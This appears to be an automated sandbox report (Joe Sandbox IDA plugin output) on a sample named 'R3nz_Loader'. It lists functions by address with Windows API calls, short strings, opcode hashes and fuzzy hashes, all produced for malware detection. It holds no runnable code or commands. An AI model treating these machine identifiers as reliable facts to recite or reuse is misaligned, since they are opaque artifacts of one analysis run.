Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 7be2483f6991ee4be8b89b5708fb61084043a66057ea4e240dfc396afecd568b
Instruction ID: bba6a3742c3442796768765a71d04e9fbca1bc946cc9ad622a363635769ce354
Opcode Fuzzy Hash: 7be2483f6991ee4be8b89b5708fb61084043a66057ea4e240dfc396afecd568b
Instruction Fuzzy Hash: 05219472D01699ABDB214F55CC40AAE7A79EB81B9CF214119F83867B10D3319D478BE0

Function 6CEF0AF1 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CEF0B3E

Part of subcall function 6CEF0FBB: InitializeSListHead.KERNEL32(6CF4C388,6CEF0B48,6CF000D8,00000010,6CEF0AD9,?,?,?,6CEF0D01,?,00000001,?,?,00000001,?,6CF00120), ref: 6CEF0FC0

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CEF0BA8

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: c450a8570a04be3909b7508ec9ea51f473e0d67841a50bd05f746a71009821f3
Instruction ID: d8a8357a51540d37630c453d108c5cb68883d7fc2c48b514006a49af9fc91268
Opcode Fuzzy Hash: c450a8570a04be3909b7508ec9ea51f473e0d67841a50bd05f746a71009821f3
Instruction Fuzzy Hash: 4D21C072A4A2C99EDB00AFF48814BDD77B1AB1226CF30441DD4B167FC2CB62454FD665

Function 6CEF591D Relevance: 3.1, APIs: 2, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6CEF5969
GetFileType.KERNELBASE(00000000), ref: 6CEF597B

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 1ad674da6d66f74448fb8102230df655ff604111948907cbea83118c3c4129a3
Instruction ID: e04ed1dc5b94efe0a8a0ad4514accad4fd76b092a8cde4977b51edccb59b9ff7
Opcode Fuzzy Hash: 1ad674da6d66f74448fb8102230df655ff604111948907cbea83118c3c4129a3
Instruction Fuzzy Hash: 4011DA7260A7524ADB284E3E8C88B16BAB597B723CB38A71ED0B5C6EE1C730D547C541

Function 6CEF6180 Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 6CEF61AE
_free.LIBCMT ref: 6CEF61D4

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d0c0ffc447f17c7d8506c4786e21688bf88165fb7ef0968a47c924eaaa7411b2
Instruction ID: bbafac8a8917bb88136c2d6b1b856e700c6537e8104913da9ef8b5bb3296f3e7
Opcode Fuzzy Hash: d0c0ffc447f17c7d8506c4786e21688bf88165fb7ef0968a47c924eaaa7411b2
Instruction Fuzzy Hash: 7311D372F246005BDB64EA2D9C11B8637B8675277CF24571AE635CBFC2E370D48B4640

Function 6CEF3EE6 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6CEF3AE9,00000001,00000364,00000013,000000FF,?,00000001,6CEF3ED8,6CEF3F69,?,?,6CEF317C), ref: 6CEF3F27

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8af45551fea44ff5d072a5296bad6856a26280021061e2863e475b9c468f28a4
Instruction ID: 1b96e35f0f0724e57fef3b592c48724fe6d41f032be4a07b631da01a2a05aa31
Opcode Fuzzy Hash: 8af45551fea44ff5d072a5296bad6856a26280021061e2863e475b9c468f28a4
Instruction Fuzzy Hash: E0F0B43371A22567FB115A269C02BCB77789F92768B318022E83997B80CB60D40782E2

Non-executed Functions

Function 6CEE43E0 Relevance: 7.7, Strings: 4, Instructions: 2656COMMON

Download Yara Rule

Strings

Yi4, xrefs: 6CEE63AA
0\r, xrefs: 6CEE6491
Yi4, xrefs: 6CEE69F2
ko,r, xrefs: 6CEE51D7

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: Yi4$Yi4$ko,r$0\r
API String ID: 0-151446381
Opcode ID: c60644e2e2e36cbd8d8c3931865fdcc1822dbccf767d7de4793e2d7bce683ff8
Instruction ID: ac168af0e0e8556e628421f9024655c9deff80ebdfb166739acaa6a18a4bf145
Opcode Fuzzy Hash: c60644e2e2e36cbd8d8c3931865fdcc1822dbccf767d7de4793e2d7bce683ff8
Instruction Fuzzy Hash: 1D132376B402158FCB08DE3CC9D17DD7BF2AB8B398F209255C519DBB95C63A994ACB00

Function 6CEF3C6A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CEF3D62
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CEF3D6C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CEF3D79

Strings

,d`l, xrefs: 6CEF3C6C

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: ,d`l
API String ID: 3906539128-3394741074
Opcode ID: 7542e420332b2dc04974ac65bb1dcb9c9205de64576623f2f047cb8bdb9b4627
Instruction ID: 06425822be7ce11e14a0dc29862b5c7ff36d8cd1847181dba4415e3ef6e70c80
Opcode Fuzzy Hash: 7542e420332b2dc04974ac65bb1dcb9c9205de64576623f2f047cb8bdb9b4627
Instruction Fuzzy Hash: 5F31C47490121CDBCB21DF68D8887CDBBB8BF48314F6041DAE42CA7650E7709B868F55

Function 6CEF12DA Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CEF12E6
IsDebuggerPresent.KERNEL32 ref: 6CEF13B2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CEF13D2
UnhandledExceptionFilter.KERNEL32(?), ref: 6CEF13DC

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 8e63aa78fe22930b7498248576d36d488463e88cf0f15dbadb8f67deebf8ade7
Instruction ID: 72d0c6120216faaef4afcd4208b2cb8a5e495075215e36c41fc6f642bca0ece6
Opcode Fuzzy Hash: 8e63aa78fe22930b7498248576d36d488463e88cf0f15dbadb8f67deebf8ade7
Instruction Fuzzy Hash: 23311AB5D0521CDBDB10DFA4D9897CDBBB8BF08304F10419AE41DAB650EB719A858F44

Function 6CEE7D90 Relevance: 5.6, Strings: 4, Instructions: 646COMMON

Download Yara Rule

Strings

JE*, xrefs: 6CEE8330
q0(, xrefs: 6CEE85C1
q0(, xrefs: 6CEE801D
JE*, xrefs: 6CEE8386

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: q0($q0($JE*$JE*
API String ID: 0-2654902979
Opcode ID: 22cc395a2e1de9fdb8c244f879fffaac492311132ebc7052fe4ca7735816faa8
Instruction ID: bc140a97eaacccb8318331b3c88f28a56f2ecd67e57eb991fae28a565da78e58
Opcode Fuzzy Hash: 22cc395a2e1de9fdb8c244f879fffaac492311132ebc7052fe4ca7735816faa8
Instruction Fuzzy Hash: 7022F536F401058FCB08DEBCD5953DD77F2AB5B3A8F20961AD421EB795C62A890ACB50

Function 00A43760 Relevance: 5.0, Strings: 2, Instructions: 2539COMMON

Download Yara Rule

Strings

D, xrefs: 00A45724
`, xrefs: 00A448CC

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: D$`
API String ID: 0-881360112
Opcode ID: 6a100f4532961838e52cb573d23a4a15cb0276d740c292417c27373ee4ad6a8e
Instruction ID: dfae75b1bbd59b0e42bb945103db464b4d1e3d4ead4d4a0cf5966a703a39621b
Opcode Fuzzy Hash: 6a100f4532961838e52cb573d23a4a15cb0276d740c292417c27373ee4ad6a8e
Instruction Fuzzy Hash: 8F331375D087908FDB10CB38C84579EBFF1AF96320F0982A9E4A99B3D2D7748945CB52

Function 6CEF2A65 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6CEF2A64,?,00000001,?,?), ref: 6CEF2A87
TerminateProcess.KERNEL32(00000000,?,6CEF2A64,?,00000001,?,?), ref: 6CEF2A8E
ExitProcess.KERNEL32 ref: 6CEF2AA0

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d7f807176b5eea35a1eee7c6ec2da27fe156baaacc5f252d7e66eb6df51ae29e
Instruction ID: 2f0f10553579f09004c56c94d0862f92c578a2e7ad45ef7a3b2d83b8912ec787
Opcode Fuzzy Hash: d7f807176b5eea35a1eee7c6ec2da27fe156baaacc5f252d7e66eb6df51ae29e
Instruction Fuzzy Hash: EAE08631500688EFCF219F55C81CE893B39FB41249F214418F43886A20DB35D943CB50

Function 00A40520 Relevance: 3.9, Strings: 3, Instructions: 183COMMON

Download Yara Rule

Strings

\, xrefs: 00A40540
Y, xrefs: 00A406E8
T, xrefs: 00A405D3

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: T$Y$\
API String ID: 0-3568914233
Opcode ID: 289b54b5aa3a9cca3ff882fe9fb226b49bd611fd193f30ec27574eaa8a03aed1
Instruction ID: 643ae8aad0a6e6a57aa6e0d37e3206ba1af531f7ba0296568270cec588c37d75
Opcode Fuzzy Hash: 289b54b5aa3a9cca3ff882fe9fb226b49bd611fd193f30ec27574eaa8a03aed1
Instruction Fuzzy Hash: 9861187690C7908FD7209B39C85179FBBE1ABD5324F298B2DD9E9D33C1D27489019B42

Function 00A69620 Relevance: 3.3, Strings: 2, Instructions: 756COMMON

Download Yara Rule

Strings

~%, xrefs: 00A6970E
EBC@, xrefs: 00A69EE2

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: EBC@$~%
API String ID: 0-3517279034
Opcode ID: 28bad57e38fdf365937965630dadb4b593b6e019008f50a13e5482edffe0111b
Instruction ID: 04496c93983efb9adbed115ddb88df9603520b7b57f008849deb7ada06ed2c2c
Opcode Fuzzy Hash: 28bad57e38fdf365937965630dadb4b593b6e019008f50a13e5482edffe0111b
Instruction Fuzzy Hash: 51322072A083518FE714CF29C8907ABBBE9EFC5314F188A2DF5959B291D774D805CB82

Function 00A5EC40 Relevance: 1.8, Strings: 1, Instructions: 582COMMON

Download Yara Rule

Strings

%D, xrefs: 00A5EE11

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: %D
API String ID: 0-2104738290
Opcode ID: 3a1542062994c36b8feb9df6d1f83420939c92f524d7e69ec6cb19f85882ebbb
Instruction ID: 53c3b13661170c49857d5dda960160ad10a0013ee8cd864e0a0c47474c344f9a
Opcode Fuzzy Hash: 3a1542062994c36b8feb9df6d1f83420939c92f524d7e69ec6cb19f85882ebbb
Instruction Fuzzy Hash: FF4203F4515B019FD365CF29D841A97BFEAEB8A310F25881EE0AE87350C7746502CF9A

Function 6CEE1000 Relevance: 1.8, Strings: 1, Instructions: 556COMMON

Download Yara Rule

Strings

w, xrefs: 6CEE16D8

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: e3c94e219d299af9c5d7ff3e4faa21d14f1c1e7f92ba3f932babe35ae5b8fa4d
Instruction ID: 3dbf384d4b4159b06d85ebeab3e4f920881adf83f83503ee59a959b23ebdc204
Opcode Fuzzy Hash: e3c94e219d299af9c5d7ff3e4faa21d14f1c1e7f92ba3f932babe35ae5b8fa4d
Instruction Fuzzy Hash: 6C02C076B442018FDF08CFBCC4913DD7BF2AB5B398F209215D415E7B96C62AC94A8B54

Function 6CEFA2F1 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6CEFA2EC,?,?,00000008,?,?,6CEF9F84,00000000), ref: 6CEFA51E

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e0bb01eec0eaadfc4506a97ab79b0ce4ffd3a3fbd87249f0ddeec89f554e5baf
Instruction ID: 5535b7f6eead25e85151ce554eac706799792040bf5e10ffbfa622afaabef9db
Opcode Fuzzy Hash: e0bb01eec0eaadfc4506a97ab79b0ce4ffd3a3fbd87249f0ddeec89f554e5baf
Instruction Fuzzy Hash: A8B115316616088FD715CF28C486B997BB1FF45368F358658E8EACF6A1C335E992CB40

Function 6CEF14A8 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CEF14BE

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8af1f5fb64a00dc7236eb5107fff487f22de79f6a409e4eeeb720b84f82eb462
Instruction ID: ad846570d6606582b71a6299ec9c730627856a555a72d25a9982061f46f7933b
Opcode Fuzzy Hash: 8af1f5fb64a00dc7236eb5107fff487f22de79f6a409e4eeeb720b84f82eb462
Instruction Fuzzy Hash: 4B5157B2E116198BEB05DF95C8817AEB7F0FB49348F24852AD426EB342D374D901CF90

Function 6CEF4322 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051615a093e74c408bd960ebca71f0e374c2b084c8907923c584d1ea5a6dc894
Instruction ID: 5234ad079ebcecb8db2ba65bae682df63c2839ea06b8643e89a7ed43bc2855bc
Opcode Fuzzy Hash: 051615a093e74c408bd960ebca71f0e374c2b084c8907923c584d1ea5a6dc894
Instruction Fuzzy Hash: 1541937580521CAFDB10DF69CD88AEAB7B9EF45308F2442DEE46DA3310DA359E858F10

Function 00A4E9F0 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

~, xrefs: 00A4EABB

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: e01dc1cf355131fd5b00d80dda3b58d592975bb568c6896c4e48c7cfebd76166
Instruction ID: 04277c5eb1100065746dd81768a4fd2a6ecc3991dbc114d2f8b78bf80f5bc8e2
Opcode Fuzzy Hash: e01dc1cf355131fd5b00d80dda3b58d592975bb568c6896c4e48c7cfebd76166
Instruction Fuzzy Hash: E0811736A042614FC725CF28889136BBBE1BBC5364F19C67DECA99B382D6348C06D7D1

Function 00A706A0 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

@, xrefs: 00A70708

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 201e8040b6f915feab34fa91d52f5e721dcb99443d2d59c96e61e0ebdff6775c
Instruction ID: d744761fe5879a676aa4ffef20d1469ee4b81e0382b03279d721848ffa4d76a9
Opcode Fuzzy Hash: 201e8040b6f915feab34fa91d52f5e721dcb99443d2d59c96e61e0ebdff6775c
Instruction Fuzzy Hash: C131FC760083049BC318DF08C895A7BB7F5EB86314F25893DE68987390E775E948CBA6

Function 6CEF584C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6CEF584C

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 51413299daddce5c1ee24f99848219ebcec7a83e5200dcc296a6754b9595c26a
Instruction ID: 636e4c1aeadfaa4693302570e3348b1d422566ebcaae06faa842a5e72a13e5bc
Opcode Fuzzy Hash: 51413299daddce5c1ee24f99848219ebcec7a83e5200dcc296a6754b9595c26a
Instruction Fuzzy Hash: F2A01130F002008B8B80AE30828A3083AF8AAA2AC030A8028A000C0000EA208080AA80

Function 00A34910 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa82c68c24b8874b901a023218f5eed8a59bedb0710aa95e0bee418fbae580c
Instruction ID: 00aaa4cf7d082aee66f5fe98b6656228e7525a4955457210e5e5051f79b1221b
Opcode Fuzzy Hash: 2fa82c68c24b8874b901a023218f5eed8a59bedb0710aa95e0bee418fbae580c
Instruction Fuzzy Hash: A152C131A087458FCB19CF29C0906AAFBE1BF88314F198A6DF8D95B341D774E985CB81

Function 00A38180 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

